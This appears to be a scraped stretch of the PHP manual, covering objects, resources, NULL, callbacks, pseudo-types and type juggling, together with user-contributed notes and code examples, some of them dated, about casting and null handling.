See here: http://blog.adaniels.nl/articles/a-dark-corner-of-php-class-casting/

Spent two hours looking for more elegant solution, that's my findings.
cFreed at orange dot fr 23-Apr-2009 03:21
CAUTION:
"Arrays convert to an object with properties named by keys, and corresponding values".

This is ALWAYS true, which means that even numeric keys are accepted when converting.
But the resulting properties cannot be accessed, since they don't match the variables naming rules.

So this:
<?php
$x = (object) array('a'=>'A', 'b'=>'B', 'C');
echo '<pre>'.print_r($x, true).'</pre>';
?>
works and displays:
stdClass Object
(
    [a] => A
    [b] => B
    [0] => C
)

But this:
<?php
echo '<br />'.$x->a;
echo '<br />'.$x->b;
echo '<br />'.$x->{0}; # (don't use $x->0, which is obviously a syntax error)
?>
fails and displays:
A
B
Notice: Undefined property: stdClass::$0 in...
wbcarts at juno dot com 30-Sep-2008 12:40
ON-THE-FLY!!!

In response to Bobs note below (and Rick's somewhat): It is much better to predefine the object you want to create. This is because in all the programs you write, you will still create objects On-the-Fly anyway:

$foo = 'My String Object';      // on-the-fly!
$bar = 45;                      // on-the-fly!
$obj = new stdClass();          // on-the-fly!
$obj->blah = 3;                 // on-the-fly!

So what's missing above? Real control over WHAT your program does, HOW it does it, and HOW your data is organized. Let's say your code $obj->blah = 3 was 'blah' because 3 was your last Test Score (take no offense, I've done worse!). In that case, you could use code like so:

<?php

class Test{
  const MIN = 0, MAX = 100;     // acceptable range for a test

  protected $person;            // person taking the test
  protected $score;             // use the word 'score' because 'blah' is meaningless

  public function __construct($p, $s){
    $this->person = $p;
    $this->score = self::clamp($s);
  }

  protected static function clamp($val){
    if($val < self::MIN) $val = self::MIN;
    if($val > self::MAX) $val = self::MAX;
    return $val;
  }

  public function __toString(){
    return "Test [person=$this->person, score=$this->score%]";
  }
}

$obj = new Test("John Doe", 83);    // on-the-fly!
echo (object)$obj;                  // outputs 'Test [person=John Doe, score=83%]'
?>

Writing your own class definitions help maintain the "integerity" of your objects - see how the clamp() function keeps test scores between 0 and 100 percent? PHP  uses similar techniques to set min and max vals on Numbers. And, classes like Test are way more useful than objects created with an empty shell, uh em, stdClass. In addition, you can see WHAT, WHERE, WHY, and HOW your program actually works... On-the-Fly!

-->
Isaac Z. Schlueter i at foohack dot com 31-Aug-2008 02:31
In response to Harmor and Mithras,  you can use the json functions to convert multi-dimensional arrays to objects very reliably.

Also, note that just using (object)$x doesn't allow you to access properties inline.  For example, this is invalid:

<?php
$x = array("foo"=>"bar");
echo ((object)$x)->foo; // PHP Parse error, unexpected T_OBJECT_OPERATOR
?>

However, this function will let you do that, and will also handle multi-dimensional arrays without any hassle.

<?php
function to_object ($x) {
    return (is_object($x) || is_array($x)) ? json_decode(json_encode($x)) : (object) $x;
}

echo to_object( array("foo"=>"bar") )->foo; // "bar"
?>

Note that *numeric* arrays will not be converted to objects using this method.
Mithras 21-Aug-2008 03:54
In response to harmor: if an array contains another array as a value, you can recursively convert all arrays with:

<?php
function arrayToObject( $array ){
  foreach( $array as $key => $value ){
    if( is_array( $value ) ) $array[ $key ] = arrayToObject( $value );
  }
  return (object) $array;
}
?>
Rick 18-Apr-2008 07:35
Bob, I think you solution is to use stdClass and add properties on the fly...

$obj = new stdClass();
$obj->data ="This is the solution";
bob 10-Apr-2008 05:03
Why is there nothing in the docs about instantiating a generic object?  ie new object() - it does not work.

If one wants to create a dynamic object on the fly, the only option I see is to create it implicitly, by creating a child of it - ghetto:

unset($obj);
$obj->blah = 3;
gabe at fijiwebdesign dot com 22-May-2007 06:25
In response to sirbinam.
You cannot call a function or method before it exists. In your example, the global instance of stdout is just being passed around to differnet references (pointers). It however exists in the "dump" function scope via the global keyword.

The code below works fine and illustrates that "stdout" has been defined before its instantiation.

<?php

class profiler{
  function profiler(){
    $this->starttime = microtime();
  }

  function dump(){
    global $stdout;
    $this->endtime = microtime();
    $duration = $this->endtime - $this->starttime;
    $stdout->write($duration);
  }
}

class stdout{
  function write($msg){
    echo $msg;
  }
}

$stdout =& new stdout();
$profiler =& new profiler();
$profiler->dump();

?>

All classes and functions declarations within a scope exist even before the php execution reaches them. It does not matter if you have your classes defined on the first or last line, as long as they are in the same scope as where they are called and are not in a conditional statement that has not been evaluated yet.
ludvig dot ericson at gmail dot com 19-Aug-2006 12:35
In reply to the usort thing, you can access a property of an object dynamically by:
<?php
$obj = (object)array("Test" => "bar")
$var = "Test";
echo $obj->$var;
?>
This will output "bar", and do notice I call on ->$var and not just ->var.
Trevor Blackbird > yurab.com 27-Nov-2005 06:33
You can create a new object using the built-in stdClass or by using type-casting:

<?php

// This is the proper way
$object1 = new stdClass();

// This works too
$object2 = (object) NULL;

// This will create an object from an array
$monkey_array = array('title'=>'Spider Monkey', 'src'=>'monkey.jpg');
$monkey_object = (object) $monkey_array;
print $monkey_object->title . ' ' . $monkey_object->src;

// You can type-cast in the middle of an expression
function customHTML($some_object) {
// this function expects an object as the argument and returns some output
}
print '<p>Writing some output ' . customHTML( (object) array('rows'=>3, 'cols'=>4) );

?>
iblun at gmx dot net 09-Mar-2005 02:08
To sort an array, that contains an object, after one fieldname inside the object, im using this function:

function objectSort($objectarray, $field)
{
    for ($a=0;$a < (count($objectarray)); $a++)
    {
        for ($b=0;$b < (count($objectarray)); $b++)
        {
            if ($objectarray[$a]->$field < $objectarray[$b]->$field)
            {
                $temp = $objectarray[$a];
                $objectarray[$a] = $objectarray[$b];
                $objectarray[$b] = $temp;
            }
        }
    }

    return $objectarray;
}
mortoray at ecircle-ag dot com 16-Feb-2005 11:07
If you use new to create items in an array, you may not get the results you want since the parameters to array will be copies of the original and not references.

By Example:
class Store {
    var $item = 3;
}

    $a = array( new Store() );
    $b = $a;
    $a[0]->item = 2;
    print( "|" . $b[0]->item . "| <br>" );   //shows 3

    $a = array();
    $a[] =& new Store();
    $b = $a;
    $a[0]->item = 2;
    print( "|" . $b[0]->item . "| <br>" );   //shows 2

This is extremely important if you intend on passing arrays of classes to functions and expect them to always use the same object instance!

Note: The following syntax is desired (or maybe even the default notation should translate as this):
   $a = array( &new Store() );
nconantj 18-Jul-2004 09:43
php at electricsurfer.com,

More than a year later and here's some clarification of what's happening in your code, via comments in an otherwise verbatim copy.

<?
class c
{
   var $a = array('a'=>'aa','b'=>'ab');
   var $b = 'c';

   function show()
   {
       echo $this->a['a']; // -> 1st
       echo $this->a['b']; // outputs 'ab'

       $a = 'a';
       $b = 'b';

       echo $this->$a[$a]; // [] 1st, not what I expected
       //Above first becomes $this->$a['a'] by looking at the function's local $a
       //Next it becomes $this->a by again looking at the function's local $a, which references the class variable $a with no subscripts.
       // In order to reference elements of the class variable $a,
       // you want to use $this->a[$a]

       echo $this->$a[$b]; // does NOT output 'ab'
       // Same as above, but the first step $b becomes 'b'

       $this_a =& $this->$a; // work-around

       echo $this_a[$a]; // no question
       echo $this_a[$b];

       $a_arr = array('a'=>'b');

       echo $this->$a_arr[$a]; // [] 1st => outputs 'c'
       // This becomes $this->$a_arr['a'] which becomes $this->c,
       // by referencing the local variables first.
   }
}
$c = new c();
$c->show();
?>
info at keltoi-web dot com 25-Aug-2003 11:26
PHP supports recursive type definitions as far as I've tried. The class below (a _very_ simple tree) is an example:

class Tree {

var $_value = null;
var $_children = array();

function Tree ($value) {
  $this->_value = $value;
}

function addChild ($value) {
  $aux_node = new Tree ($value);
  $this->_children [] = $aux_node;
  return $aux_node;
}
}

As you can see, in addChild we reference Tree again...

However, you must be careful about references. See the chapter "References explained" for more details.

Hope this helps.


Resources

A resource is a special variable, holding a reference to an external resource. Resources are created and used by special functions. See the appendix for a listing of all these functions and the corresponding resource types.

See also the get_resource_type() function.

Converting to resource

As resource variables hold special handlers to opened files, database connections, image canvas areas and the like, converting to a resource makes no sense.

Freeing resources

Thanks to the reference-counting system introduced with PHP 4's Zend Engine, a resource with no more references to it is detected automatically, and it is freed by the garbage collector. For this reason, it is rarely necessary to free the memory manually.

Note: Persistent database links are an exception to this rule. They are not destroyed by the garbage collector. See the persistent connections section for more information.

User Contributed Notes

There are no user contributed notes for this page.


NULL

The special NULL value represents a variable with no value. NULL is the only possible value of type null.

A variable is considered to be null if:

  • it has been assigned the constant NULL.

  • it has not been set to any value yet.

  • it has been unset().

Syntax

There is only one value of type null, and that is the case-insensitive constant NULL.

<?php
$var = NULL;
?>

See also the functions is_null() and unset().

Casting to NULL

Casting a variable to null using (unset) $var will not remove the variable or unset its value. It will only return a NULL value.

User Contributed Notes

kuzawinski dot marcin at NOSPAM dot gmail dot com 26-Mar-2014 09:10
Funny. It looks like, that there is one, and only one possible value for variable $a that will pass this test:

($a != NULL) && ((bool)$a == NULL)

It's "0" and it works because casting string "0" to boolean gives FALSE (and it's the only non empty string, that works this way). So remember that casting is not "transitive".
Anonymous 05-Mar-2014 03:05
Note the following:
$test ='';

if (isset($test)){
    echo 'Variable test exists';
}
if (empty($test)){ // same result as $test = ''
    echo ' and is_empty';
}
if ($test == null){ // not the same result as is_null($test)
    echo 'and is_null';
}
The result would be:
Variable test exists and is_empty and is_null

But for the following code...:
$test ='';

if (isset($test)){
    echo 'Variable test exists';
}
if (empty($test)){ // same result as $test = ''
    echo ' and is_empty';
}
if ($test === null){  // same result as is_null($test)
    echo 'and is_null';
}
The result would be:
Variable test exists and is_empty

Therefore, for empty string variables, seems that 'empty' and 'null' has the same value but different type.
Toycat 29-May-2013 06:11
Be careful using NULL together with namespaces. If a NULL constant is redefined in a namespace other than global, you will get unexpected results when comparing to NULL inside the namespace. Instead always use \NULL, \FALSE, and \TRUE when comparing. Otherwise it may lead to application failures and potential security issues where certain checks could be effectively disabled.

A simple example to demonstrate the behavior:

<?php
namespace RedefinedConstants {

    // redefining global namespace constants has no effect
    define('NULL', 'I am not global NULL!');
    define('TRUE', 'I am not global TRUE!');
    define('FALSE', 'I am not global FALSE!');

    // redefining local namespace constants will work
    define('RedefinedConstants\NULL', 'I am not NULL!', \TRUE);
    define('RedefinedConstants\FALSE', 'I am not FALSE!', \TRUE);
    define('RedefinedConstants\TRUE', 'I am not TRUE!', \TRUE);

    var_dump(
        NULL, \NULL, null, \null, Null, \Null,
        FALSE, \FALSE, false, \false, False, \False,
        TRUE, \TRUE, true, \true, True, \True
    );

}
?>
foxdie_cs at hotmail dot com 01-Aug-2012 03:00
a quick note about the magic function __get() :

<?php
class Foo{

    protected $bar;

    public function __construct(){

        $this->bar = NULL;
        var_dump( $this->bar ); //prit 'NULL' but won't call the magic method __get()

        unset( $this->bar );
        var_dump( $this->bar ); //print 'GET bar' and 'NULL'

    }

    public function __get( $var ){ echo "GET " . $var; }

}

new Foo();
?>
ryan at trezshard dot com 01-Jun-2011 05:31
This simple shorthand seems to work for setting new variables to NULL:

<?php
$Var;
?>

The above code will set $Var to NULL

UPDATE: After further testing it appears the code only works in the global scope and does not work inside functions.

<?php
function Example(){
  $Var;
  var_dump($Var);
}
?>

Would not work as expected.
quickpick 23-Apr-2011 12:36
Note: empty array is converted to null by non-strict equal '==' comparison. Use is_null() or '===' if there is possible of getting empty array.

$a = array();

$a == null  <== return true
$a === null < == return false
is_null($a) <== return false
nl-x at bita dot nl 09-Jul-2007 07:33
Watch out. You can define a new constant with the name NULL with define("NULL","FOO");. But you must use the function constant("NULL"); to get it's value. NULL without the function call to the constant() function will still retrieve the special type NULL value.
Within a class there is no problem, as const NULL="Foo"; will be accessible as myClass::NULL.
cdcchen at hotmail dot com 26-May-2006 05:17
empty() is_null() !isset()

$var = "";

empty($var) is true.
is_null($var) is false.
!isset($var) is false.
06-Jan-2006 10:51
// Difference between "unset($a);" and "$a = NULL;" :
<?php
// unset($a)
$a = 5;
$b = & $a;
unset($a);
print "b $b "; // b 5

// $a = NULL; (better I think)
$a = 5;
$b = & $a;
$a = NULL;
print "b $b "; // b
print(! isset($b)); // 1
?>
poutri_j at epitech dot net 26-Jul-2005 01:56
if you declare something like this :

<?php
class toto
{
    public $a = array();

    public function load()
    {
        if ($this->a == null) // ==> the result is true
            $a = other_func();
    }

}
?>

be carefull, that's strange but an empty array is considered as a null variable
rizwan_nawaz786 at hotmail dot com 19-Oct-2004 06:22
Hi
 Rizwan Here

   Null is the Constant in PHP. it is use to assign a empty value to the variable like

  $a=NULL;

  At this time $a has is NULL or $a has no value;

  When we declaire a veriable in other languages than that veriable has some value depending on the value of memory location at which it is pointed but in php when we declaire a veriable than php assign a NULL to a veriable.
dward at maidencreek dot com 13-Nov-2001 12:52
Nulls are almost the same as unset variables and it is hard to tell the difference without creating errors from the interpreter:

<?php
$var = NULL;
?>

isset($var) is FALSE
empty($var) is TRUE
is_null($var) is TRUE

isset($novar) is FALSE
empty($novar) is TRUE
is_null($novar) gives an Undefined variable error

$var IS in the symbol table (from get_defined_vars())
$var CAN be used as an argument or an expression.

So, in most cases I found that we needed to use !isset($var) intead of is_null($var) and then set $var = NULL if the variable needs to be used later to guarantee that $var is a valid variable with a NULL value instead of being undefined.


Callbacks

Callbacks can be denoted by callable type hint as of PHP 5.4. This documentation used callback type information for the same purpose.

Some functions like call_user_func() or usort() accept user-defined callback functions as a parameter. Callback functions can not only be simple functions, but also object methods, including static class methods.

Passing

A PHP function is passed by its name as a string. Any built-in
or user-defined function can be used, except language constructs such as:
array(), echo,
empty(), eval(),
exit(), isset(),
list(), print or
unset().

A method of an instantiated object is passed as an array containing an object at index 0 and the method name at index 1.

Static class methods can also be passed without instantiating an object of that class by passing the class name instead of an object at index 0. As of PHP 5.2.3, it is also possible to pass 'ClassName::methodName'.

Apart from common user-defined function, anonymous functions can also be passed to a callback parameter.

Example #1 Callback function examples

<?php

// An example callback function
function my_callback_function() {
    echo 'hello world!';
}

// An example callback method
class MyClass {
    static function myCallbackMethod() {
        echo 'Hello World!';
    }
}

// Type 1: Simple callback
call_user_func('my_callback_function');

// Type 2: Static class method call
call_user_func(array('MyClass', 'myCallbackMethod'));

// Type 3: Object method call
$obj = new MyClass();
call_user_func(array($obj, 'myCallbackMethod'));

// Type 4: Static class method call (As of PHP 5.2.3)
call_user_func('MyClass::myCallbackMethod');

// Type 5: Relative static class method call (As of PHP 5.3.0)
class A {
    public static function who() {
        echo "A\n";
    }
}

class B extends A {
    public static function who() {
        echo "B\n";
    }
}

call_user_func(array('B', 'parent::who')); // A
?>

Example #2 Callback example using a Closure

<?php
// Our closure
$double = function($a) {
    return $a * 2;
};

// This is our range of numbers
$numbers = range(1, 5);

// Use the closure as a callback here to
// double the size of each element in our
// range
$new_numbers = array_map($double, $numbers);

print implode(' ', $new_numbers);
?>

The above example will output:

2 4 6 8 10

Note: In PHP 4, it was necessary to use a reference to create a callback that points to the actual object, and not a copy of it. For more details, see References Explained.

Note:

Callbacks registered with functions such as call_user_func() and call_user_func_array() will not be called if there is an uncaught exception thrown in a previous callback.

User Contributed Notes

Yzmir Ramirez 16-Apr-2014 08:40
> As of PHP 5.2.3, it is also possible to pass 'ClassName::methodName'

You can also use 'self::methodName'.  This works in PHP 5.2.12 for me.
computrius at gmail dot com 12-Oct-2013 01:38
When specifying a call back in array notation (ie. array($this, "myfunc") ) the method can be private if called from inside the class, but if you call it from outside you'll get a warning:

<?php

class mc {
   public function go(array $arr) {
       array_walk($arr, array($this, "walkIt"));
   }

   private function walkIt($val) {
       echo $val . "<br />";
   }

    public function export() {
        return array($this, 'walkIt');
    }
}

$data = array(1,2,3,4);

$m = new mc;
$m->go($data); // valid

array_walk($data, $m->export()); // will generate warning

?>

Output:
1<br />2<br />3<br />4<br />
Warning: array_walk() expects parameter 2 to be a valid callback, cannot access private method mc::walkIt() in /in/tfh7f on line 22
metamarkers at gmail dot com 04-Jun-2013 04:34
you can pass an object as a callable if its class defines the __invoke() magic method..
steve at mrclay dot org 18-Sep-2012 06:00
Performance note: The callable type hint, like is_callable(), will trigger an autoload of the class if the value looks like a static method callback.
andrewbessa at gmail dot com 19-Jun-2012 12:16
You can also use the $this variable to specify a callback:

<?php
class MyClass {

    public $property = 'Hello World!';

    public function MyMethod()
    {
        call_user_func(array($this, 'myCallbackMethod'));
    }

    public function MyCallbackMethod()
    {
        echo $this->property;
    }

}
?>


Pseudo-types and variables used in this documentation

mixed

mixed indicates that a parameter may accept multiple (but not necessarily all) types.

gettype() for example will accept all PHP types, while str_replace() will accept strings and arrays.

number

number indicates that a parameter can be either integer or float.

callback

callback pseudo-types was used in this documentation before callable type hint was introduced by PHP 5.4. It means exactly the same.

void

void as a return type means that the return value is useless. void in a parameter list means that the function doesn't accept any parameters.

...

$... in function prototypes means and so on. This variable name is used when a function can take an endless number of arguments.

User Contributed Notes

mike@EastGhostCom 13-Aug-2012 02:50
If you pass a string as the callback function (i.e., 2nd parm to preg_replace_callback()), then PHP will interpret it as a function's name in the current scope -- and Main::dada_cb is not a valid function name in any scope.

If you want to specify a static method of a class as the callback (i.e., "Main::dada_cb"), then you must pass as 2nd parm to preg_replace_callback:

array( 'Main', 'dada_cb')

And, if you want to use as a callback some method of an instantiated object (i.e., $object->dada_cb), then you must pass as the 2nd parm to preg_replace_callback:

array( $object, 'dada_cb' )
liam at helios-sites dot com 06-Dec-2010 01:44
Note that (e.g.) usort calls on static methods of classes in a namespace need to be laid out as follows:

usort($arr, array('\Namespace\ClassName', 'functionName'));
michael dot martinek at gmail dot com 29-Aug-2009 06:20
The documentation is a little confusing, and with the recent OO changes it adds a little more to the confusion.

I was curious whether you could pass an object through the user func, modify it in that callback and have the actual object updated or whether some cloning was going on behind the scenes.

<?php
    class Test
    {
        var $sValue = 'abc';

        function testing($objTest)
        {
            $objTest->sValue = '123';
        }
    }

    $obj = new Test();

    call_user_func(array($obj, 'testing'), $obj);

    var_dump($obj);

?>

This works as expected: The object is not cloned, and $sValue is properly set to '123'. With the OO changes in PHP 5, you don't need to do "function testing(&$objTest)" as it is already passed by reference.
phpguy at lifetoward dot com 12-Jun-2009 02:44
I noticed two important thing about putting callbacks into an arg list when calling a function:

1. The function to which the callback refers must be defined earlier in the source stream. So for example:

function main() {...; usort($array, 'sortfunction'); ... }
function sortfunction($a, $b){ return 0; }

Will NOT work, but this will:

function sortfunction($a, $b){ return 0; }
function main() {...; usort($array, 'sortfunction'); ... }

2. It's not really just a string. For example, this doesn't work:

usort($array, ($reverse?'reversesorter':'forwardsorter'));

I found these two discoveries quite counterintuitive.
sahid dot ferdjaoui at gmail dot com 20-Apr-2009 12:19
An example with PHP 5.3 and lambda functions

<?php

  array_map (function ($value) {
    return new MyFormElement ($value);
  }, $_POST);

?>
Hayley Watson 24-May-2007 07:44
The mixed pseudotype is explained as meaning "multiple but not necessarily all" types, and the example of str_replace(mixed, mixed, mixed) is given where "mixed" means "string or array".
Keep in mind that this refers to the types of the function's arguments _after_ any type juggling.
levi at alliancesoftware dot com dot au 08-Feb-2007 11:44
Parent methods for callbacks should be called 'parent::method', so if you wish to call a non-static parent method via a callback, you should use a callback of
<?
 // always works
 $callback = array($this, 'parent::method')

 // works but gives an error in PHP5 with E_STRICT if the parent method is not static
 $callback array('parent', 'method');
?>
Edward 01-Feb-2007 11:15
To recap mr dot lilov at gmail dot com's comment: If you want to pass a function as an argument to another function, for example "array_map", do this:

regular functions:
<?
array_map(intval, $array)
?>

static functions in a class:
<?
array_map(array('MyClass', 'MyFunction'), $array)
?>

functions from an object:
<?
array_map(array($this, 'MyFunction'), $array)
?>

I hope this clarifies things a little bit


Type Juggling

PHP does not require (or support) explicit type definition in variable declaration; a variable's type is determined by the context in which the variable is used. That is to say, if a string value is assigned to variable $var, $var becomes a string. If an integer value is then assigned to $var, it becomes an integer.

An example of PHP's automatic type conversion is the addition operator '+'. If either operand is a float, then both operands are evaluated as floats, and the result will be a float. Otherwise, the operands will be interpreted as integers, and the result will also be an integer. Note that this does not change the types of the operands themselves; the only change is in how the operands are evaluated and what the type of the expression itself is.

<?php
$foo = "0";  // $foo is string (ASCII 48)
$foo += 2;   // $foo is now an integer (2)
$foo = $foo + 1.3;  // $foo is now a float (3.3)
$foo = 5 + "10 Little Piggies"; // $foo is integer (15)
$foo = 5 + "10 Small Pigs";     // $foo is integer (15)
?>

If the last two examples above seem odd, see String conversion to numbers.

To force a variable to be evaluated as a certain type, see the section on Type casting. To change the type of a variable, see the settype() function.

To test any of the examples in this section, use the var_dump() function.

Note:

The behaviour of an automatic conversion to array is currently undefined.

Also, because PHP supports indexing into strings via offsets using the same syntax as array indexing, the following example holds true for all PHP versions:

<?php
$a    = 'car'; // $a is a string
$a[0] = 'b';   // $a is still a string
echo $a;       // bar
?>

See the section titled String access by character for more information.

Type Casting

Type casting in PHP works much as it does in C: the name of the desired type is written in parentheses before the variable which is to be cast.

<?php
$foo = 10;   // $foo is an integer
$bar = (boolean) $foo;   // $bar is a boolean
?>

The casts allowed are:

  • (int), (integer) - cast to integer
  • (bool), (boolean) - cast to boolean
  • (float), (double), (real) - cast to float
  • (string) - cast to string
  • (array) - cast to array
  • (object) - cast to object
  • (unset) - cast to NULL (PHP 5)

(binary) casting and b prefix forward support was added in PHP 5.2.1

Note that tabs and spaces are allowed inside the parentheses, so the following are functionally equivalent:

<?php
$foo = (int) $bar;
$foo = ( int ) $bar;
?>

Casting literal strings and variables to binary strings:

<?php
$binary = (binary) $string;
$binary = b"binary string";
?>

Note:

Instead of casting a variable to a string, it is also possible to enclose the variable in double quotes.

<?php
$foo = 10;            // $foo is an integer
$str = "$foo";        // $str is a string
$fst = (string) $foo; // $fst is also a string

// This prints out that "they are the same"
if ($fst === $str) {
    echo "they are the same";
}
?>

It may not be obvious exactly what will happen when casting between certain types. For more information, see these sections:

  • Converting to boolean
  • Converting to integer
  • Converting to float
  • Converting to string
  • Converting to array
  • Converting to object
  • Converting to resource
  • Converting to NULL
  • The type comparison tables

User Contributed Notes

Eric Lavoie 03-Oct-2014 06:24
(array) null
array(null)

are not the same.

var_dump((array) null) =>
array (size=0)
  empty

var_dump(array (null)) =>
array (size=1)
  0 => null
kuzawinski dot marcin at NOSPAM dot gmail dot com 15-Jul-2014 06:40
You REALLY must be aware what you are doing, when you cast a lot  in your code. For example, you can accidentaly change FALSE to TRUE  (probably not in one line, like here):

if(TRUE === (boolean) (array) (int) FALSE) {
    kaboom();
}
fardelian 14-Apr-2013 12:23
Casting objects to arrays is a pain. Example:

<?php

class MyClass {

    private $priv = 'priv_value';
    protected $prot = 'prot_value';
    public $pub = 'pub_value';
    public $MyClasspriv = 'second_pub_value';

}

$test = new MyClass();
echo '<pre>';
print_r((array) $test);

/*
Array
(
    [MyClasspriv] => priv_value
    [*prot] => prot_value
    [pub] => pub_value
    [MyClasspriv] => second_pub_value
)
 */

?>

Yes, that looks like an array with two keys with the same name and it looks like the protected field was prepended with an asterisk. But that's not true:

<?php

foreach ((array) $test as $key => $value) {
    $len = strlen($key);
    echo "{$key} ({$len}) => {$value}<br />";
    for ($i = 0; $i < $len; ++$i) {
        echo ord($key[$i]) . ' ';
    }
    echo '<hr />';
}

/*
MyClasspriv (13) => priv_value
0 77 121 67 108 97 115 115 0 112 114 105 118
*prot (7) => prot_value
0 42 0 112 114 111 116
pub (3) => pub_value
112 117 98
MyClasspriv (11) => second_pub_value
77 121 67 108 97 115 115 112 114 105 118
 */

?>

The char codes show that the protected keys are prepended with '\0*\0' and private keys are prepended with '\0'.__CLASS__.'\0' so be careful when playing around with this.
ieee at REMOVE dot bk dot ru 18-Jun-2012 01:26
There are some shorter and faster (at least on my machine) ways to perform a type cast.
<?php
$string='12345.678';
$float=+$string;
$integer=0|$string;
$boolean=!!$string;
?>
Anonymous 08-Feb-2012 03:31
namaroulis stated "I found it tricky to check if a posted value was an integer"; to test if a variable is a number or a numeric string (such as form input, which is always a string), you must use is_numeric():

<?php
$_POST['a'] = "42";

is_numeric( $_POST['a'] ); // true
?>
hemi68 at hotmail dot com 06-Sep-2011 05:01
Cast a string to binary using PHP < 5.2.1

 $binary = unpack('c*', $string);
jphansen at uga dot edu 21-Apr-2011 07:53
Type casting from string to int and vice versa is probably the most common conversation. PHP does this very simply through the +. and .= operators, removing any explicit casting:

<?php
$x = 1;
var_dump($x); // int(1)
$x .= 1;
var_dump($x); // string(2) "11"; also an empty string ("") would cast to string without changing $x

$x = "1";
var_dump($x);  // string(1) "1"
$x += 1;
var_dump($x); // int(2); also a zero value (0) would cast to int without changing $x
?>
Anonymous 11-Mar-2011 08:01
Checking for strings to be integers?
How about if a string is a float?

<?php

/* checks if a string is an integer with possible whitespace before and/or after, and also isolates the integer */
$isInt=preg_match('/^\s*([0-9]+)\s*$/', $myString, $myInt);

echo 'Is Integer? ',  ($isInt) ? 'Yes: '.$myInt[1] : 'No', "\n";

/* checks if a string is an integer with no whitespace before or after  */
$isInt=preg_match('/^[0-9]+$/', $myString);

echo 'Is Integer? ',  ($isInt) ? 'Yes' : 'No', "\n";

/* When checking for floats, we assume the possibility of no decimals needed.  If you MUST require decimals (forcing the user to type 7.0 for example) replace the sequence:
[0-9]+(\.[0-9]+)?
with
[0-9]+\.[0-9]+
*/

/* checks if a string is a float with possible whitespace before and/or after, and also isolates the number */
$isFloat=preg_match('/^\s*([0-9]+(\.[0-9]+)?)\s*$/', $myString, $myNum);

echo 'Is Number? ',  ($isFloat) ? 'Yes: '.$myNum[1] : 'No', "\n";

/* checks if a string is a float with no whitespace before or after */
$isInt=preg_match('/^[0-9]+(\.[0-9]+)?$/', $myString);

echo 'Is Number? ',  ($isFloat) ? 'Yes' : 'No', "\n";

?>
namaroulis at gmail dot com 02-Mar-2011 10:47
I found it tricky to check if a posted value was an integer.

<?php

$_POST['a'] = "42";

is_int( $_POST['a'] ); //false
is_int( intval( "anything" ) ); //always true
?>

A method I use for checking if a string represents an integer value.

<?php
function check_int( $str )
                {
                    return  is_numeric( $str ) && intval( $str ) - $str == 0;
                }
?>
rmirabelle 17-Oct-2010 07:18
The object casting methods presented here do not take into account the class hierarchy of the class you're trying to cast your object into.

/**
     * Convert an object to a specific class.
     * @param object $object
     * @param string $class_name The class to cast the object to
     * @return object
     */
    public static function cast($object, $class_name) {
        if($object === false) return false;
        if(class_exists($class_name)) {
            $ser_object     = serialize($object);
            $obj_name_len     = strlen(get_class($object));
            $start             = $obj_name_len + strlen($obj_name_len) + 6;
            $new_object      = 'O:' . strlen($class_name) . ':"' . $class_name . '":';
            $new_object     .= substr($ser_object, $start);
            $new_object     = unserialize($new_object);
            /**
             * The new object is of the correct type but
             * is not fully initialized throughout its graph.
             * To get the full object graph (including parent
             * class data, we need to create a new instance of
             * the specified class and then assign the new
             * properties to it.
             */
            $graph = new $class_name;
            foreach($new_object as $prop => $val) {
                $graph->$prop = $val;
            }
            return $graph;
        } else {
            throw new CoreException(false, "could not find class $class_name for casting in DB::cast");
            return false;
        }
    }
martinscotta at gmail dot com 22-Sep-2010 05:44
in response to bhsmither at gmail.com

It raises a warning because of the bad enquoted variable

<?php

error_reporting( E_ALL | E_STRICT );

$foo['ten'] = 10;        // $foo['ten'] is an array holding an integer at key "ten"
$str = "{$foo['ten']}";  // works "10"
$str = "$foo[ten]";      // DO NOT work!
bhsmither at gmail.com 20-Mar-2010 12:41
<?php
$foo['ten'] = 10;            // $foo['ten'] is an array holding an integer at key "ten"
$str = "$foo['ten']";        // throws T_ENCAPSED_AND_WHITESPACE error
$str = "$foo[ten]";          // works because constants are skipped in quotes
$fst = (string) $foo['ten']; // works with clear intention
?>
edgar dot klerks at gmail dot com 17-Mar-2009 05:04
It seems (unset) is pretty useless. But for people who like to make their code really compact (and probably unreadable). You can use it to use an variable and unset it on the same line:

Without cast:

<?php

$hello = 'Hello world';
print $hello;
unset($hello);

?>

With the unset cast:

<?php

$hello = 'Hello world';
$hello = (unset) print $hello;

?>

Hoorah, we lost another line!
kajsunansis at that gmail 03-Dec-2008 08:18
json_decode users consider this, when casting stdClass to array:
<?php
$obj = new stdClass();
$obj->{"2"} = "id";
$arr = (array) $obj;
$result = isset($arr["2"]) || array_key_exists(2, $arr); // false
?>
..though casting is at least 2x faster than foreach.
Jeffrey 09-Nov-2008 08:34
IMAGINATION REQUIRED...

We can be a witness to PHP's 'type-jugglin' in real-time with a simple implementation of a MemoryMap. For the sake our purposes, pretend that this is an empty MemoryMap.
+-------+------+------+-------+
| index | $var | type | value |
+-------+------+------+-------+
|     1 |  --- | NULL |  null |
|     2 |  --- | NULL |  null |
|     3 |  --- | NULL |  null |
|     4 |  --- | NULL |  null |
+-------+------+------+-------+

<?php
# create some variables...
$a = 10;
$b = "Hello";
$c = array(55.45, 98.65);
# Now look at map...
?>
+-------+-------+---------+--------+
| index |  $var |    type |  value |
+-------+-------+---------+--------+
|     1 |    $a | INTEGER |     10 |
|     2 |    $b |  STRING |  Hello |
|     3 | $c[0] |   FLOAT |  55.45 |
|     4 | $c[1] |   FLOAT |  98.65 |
+-------+-------+---------+--------+
<?php
# Now, change the variable types...
$a = "Bye";
$b = 2;
$c[0] = "Buy";
$c[1] = "Now!";
#Look at map...
?>
+-------+-------+---------+--------+
| index |  $var |    type |  value |
+-------+-------+---------+--------+
|     1 |    $a |  STRING |    Bye | <- used to be INTEGER
|     2 |    $b | INTEGER |      2 | <- used to be STRING
|     3 | $c[0] |  STRING |    Buy | <- used to be FLOAT
|     4 | $c[1] |  STRING |  Right | <- used to be FLOAT
+-------+-------+---------+--------+
hek at theeks dot net 17-Oct-2008 06:24
It would be useful to know the precedence (for lack of a better word) for type juggling.  This entry currently explains that "if either operand is a float, then both operands are evaluated as floats, and the result will be a float" but could (and I think should) provide a hierarchy that indicates, for instance, "between an int and a boolean, int wins; between a float and an int, float wins; between a string and a float, string wins" and so on (and don't count on my example accurately capturing the true hierarchy, as I haven't actually done the tests to figure it out).  Thanks!
wbcarts at juno dot com 08-Oct-2008 03:05
WHERE'S THE BEEF?

Looks like type-casting user-defined objects is a real pain, and ya gotta be nuttin' less than a brain jus ta cypher-it. But since PHP supports OOP, you can add the capabilities right now. Start with any simple class.
